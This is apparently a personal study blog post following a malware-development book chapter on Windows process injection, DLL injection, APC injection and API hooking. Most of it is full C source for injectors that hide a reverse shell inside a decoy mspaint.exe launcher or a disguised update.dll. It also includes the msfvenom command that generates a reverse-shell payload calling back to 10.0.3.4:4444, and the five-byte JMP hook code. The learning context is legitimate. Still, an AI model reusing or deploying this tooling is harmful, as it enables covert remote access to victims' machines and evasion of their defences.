Continued series from the Malware Development for Ethical Hackers Book.
The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking
Process Injection
I followed the book in generating a reverse shell payload using msfvenom
:
msfvenom -p windows/x64/shell_reverse_tcp LHOST-10.0.3.4 LPORT=4444 -f c
This provides an unsigned char buf[]
that can be pasted into C code. The original code also requires manually spawning the appropriate process and specifying the PID to inject. Instead, I made a modification to automatically spawn a process and grab the ID to use. Now, when the executable, which I cleverly named PaintLauncher.exe
is ran, a copy of MS Paint is launched. In the background, a secret terminal is also launched with it which allows our reverse shell to connect:

/*
Proc Injection of Reverse TCP
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 02_proc_injection.c -o PaintLauncher.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// created with msfvenom, truncated for web view
unsigned char payload[] = "...";
// get size of payload to determine buffer size during injection
unsigned int payload_length = sizeof(payload);
int main(){
STARTUPINFO si; // declaration for startupinfo
PROCESS_INFORMATION pi; // declaration for procinfo
HANDLE process_handle; // Handle for the target process
HANDLE remote_thread; // Handle for the remote thread
PVOID remote_buffer; // Buffer in the remote process
// Initialize the STARTUPINFO structure
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//attempt to launch the mspaint decoy process
if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
// grab proc id
printf("Process created successfully!\n");
printf("Process ID: %lu\n", pi.dwProcessId);
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
// alloc mem for the payload
remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// copy payload into buffer
WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);
// Create a remote thread to start payload
remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
// clean up payload handle
CloseHandle(process_handle);
// clean up our decoy process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
printf("CreateProcess failed (%lu).\n", GetLastError());
}
return 0;
}
This also shows the connection via System Informer, under the network tab, as mspaint.exe:

DLL Injection
The book uses a MessageBox code to display for the DLL Injection. I instead modified this to instead have my DLL spawn a reverse shell, like before.
/*
DLL for DLL Injection
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-g++ -shared -o update.dll 02_dll.c -fpermissive
*/
#include <windows.h>
unsigned char payload[] = "...";
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH: {
// Allocate memory for the shellcode
void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem) {
// Copy the shellcode to the allocated memory
memcpy(exec_mem, payload, sizeof(payload));
// Create a thread to execute the shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread) {
CloseHandle(hThread); // Cleanup
}
}
break;
}
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Next, I repurposed the same code as before to auto-launch mspaint, but instead we attach the DLL.
/*
Proc Injection of Reverse TCP
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 02_dll_injection.c -o PaintLauncherDLL.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
char maliciousDLL[] = "C:\\update.dll";
unsigned int dll_length = sizeof(maliciousDLL) + 1;
int main(){
STARTUPINFO si; // declaration for startupinfo
PROCESS_INFORMATION pi; // declaration for procinfo
HANDLE process_handle; // Handle for the target process
HANDLE remote_thread; // Handle for the remote thread
PVOID remote_buffer; // Buffer in the remote process
// Initialize the STARTUPINFO structure
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//attempt to launch the mspaint decoy process
if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
// Handle to kernel32 and pass it to GetProcAddress
HMODULE kernel32_handle = GetModuleHandle("Kernel32");
VOID *lbuffer = GetProcAddress(kernel32_handle, "LoadLibraryA");
// grab proc id
printf("Process created successfully!\n");
printf("Process ID: %lu\n", pi.dwProcessId);
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
// alloc mem for the payload
remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// copy payload into buffer
WriteProcessMemory(process_handle, remote_buffer, maliciousDLL, dll_length, NULL);
// Create a remote thread to start payload
remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)lbuffer, remote_buffer, 0, NULL);
// clean up payload handle
CloseHandle(process_handle);
// clean up our decoy process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
printf("CreateProcess failed (%lu).\n", GetLastError());
}
return 0;
}
And again, we have reverse shell, with the actual shellcode now in an update.dll
hidden elsewhere instead of in the executable itself:

The memory view of mspaint.exe shows our C:\\update.dll running:

APC Injection
The APC injection is very similar to the samples I modified above. It starts a process via C, buit instead starts it in a suspended state. The payload is still copied into the memory as before, however instead of using CreateRemoteThread
, a PTHREAD_START_ROUTINE
in conjunction with a QueueUserAPC
call is used to execute the shell code. Comparison of the difference of proc injection vs APC injection side-by-side, it is very similar.
// dll injection
int main() {
// Create a 64-bit process:
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
LPVOID myPayloadMem;
SIZE_T myPayloadLen = sizeof(myPayload);
LPCWSTR cmd;
HANDLE processHandle, threadHandle;
NTSTATUS status;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
0, NULL, NULL, &startupInfo, &processInfo
);
processHandle = processInfo.hProcess;
// Allocate memory for payload
myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload to allocated memory
WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);
threadHandle = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)myPayloadMem , NULL, 0, NULL);
return 0;
}
//apc injection
int main() {
// Create a 64-bit process:
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
LPVOID myPayloadMem;
SIZE_T myPayloadLen = sizeof(myPayload);
LPCWSTR cmd;
HANDLE processHandle, threadHandle;
NTSTATUS status;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo
);
// Allow time to start/initialize.
WaitForSingleObject(processInfo.hProcess, 50000);
processHandle = processInfo.hProcess;
threadHandle = processInfo.hThread;
// Allocate memory for payload
myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload to allocated memory
WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);
// Inject into the suspended thread.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem;
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL);
// Resume the suspended thread
ResumeThread(threadHandle);
return 0;
}
API Hooking
I did not re-create these examples, as they were simple message box manipulations. The example for API hooking uses a five-byte hook to overwrite the call with a JMP
to the custom code, and then execute the custom code.
The original function call address is calculated. Then using memcpy
, \xE9
for JMP
is loaded into memory along with the offset for the address of the modified function address. Using a new function, a separate library is then loaded and called instead.
In the example, (originalCatFunc)("meow-squeak-tweet!!!")
is called instead of the intended (originalCatFunc)("meow-meow")
.
//excerpt of the C example code
int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) {
HINSTANCE petDll;
OriginalCatFunction originalCatFunc;
// unhook the function: restore the original bytes
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, originalBytes, 5, NULL);
// load the original function and modify the message
petDll = LoadLibrary("pet.dll");
originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll, "Cat");
return (originalCatFunc)("meow-squeak-tweet!!!");
}
// logic for installing the hook
void installMyHook() {
HINSTANCE hLib;
VOID *myModifiedFuncAddress;
DWORD *relativeOffset;
DWORD source;
DWORD destination;
CHAR patch[5] = {0};
// obtain the memory address of the original Cat function
hLib = LoadLibraryA("pet.dll");
hookedFunctionAddress = GetProcAddress(hLib, "Cat");
// save the first 5 bytes into originalBytes buffer
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedFunctionAddress, originalBytes, 5, NULL);
// overwrite the first 5 bytes with a jump to myModifiedCatFunction
myModifiedFuncAddress = &myModifiedCatFunction;
// calculate the relative offset for the jump
source = (DWORD)hookedFunctionAddress + 5;
destination = (DWORD)myModifiedFuncAddress;
relativeOffset = (DWORD *)(destination - source);
// \xE9 is the opcode for a jump instruction
memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &relativeOffset, 4);
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, patch, 5, NULL);
}
This could be utilized to intercept a library call and replace it with our own. I think this, in conjunction with DLL hijacking could be beneficial. If a compromised DLL is loaded before the legitimate DLL, it could have similar code to above to make an application perform operations that were not original intended. I think in terms of the sample code, it defeats the purpose a bit to have the overwrite in the same app as the regular function call, but it is just for learning purposes.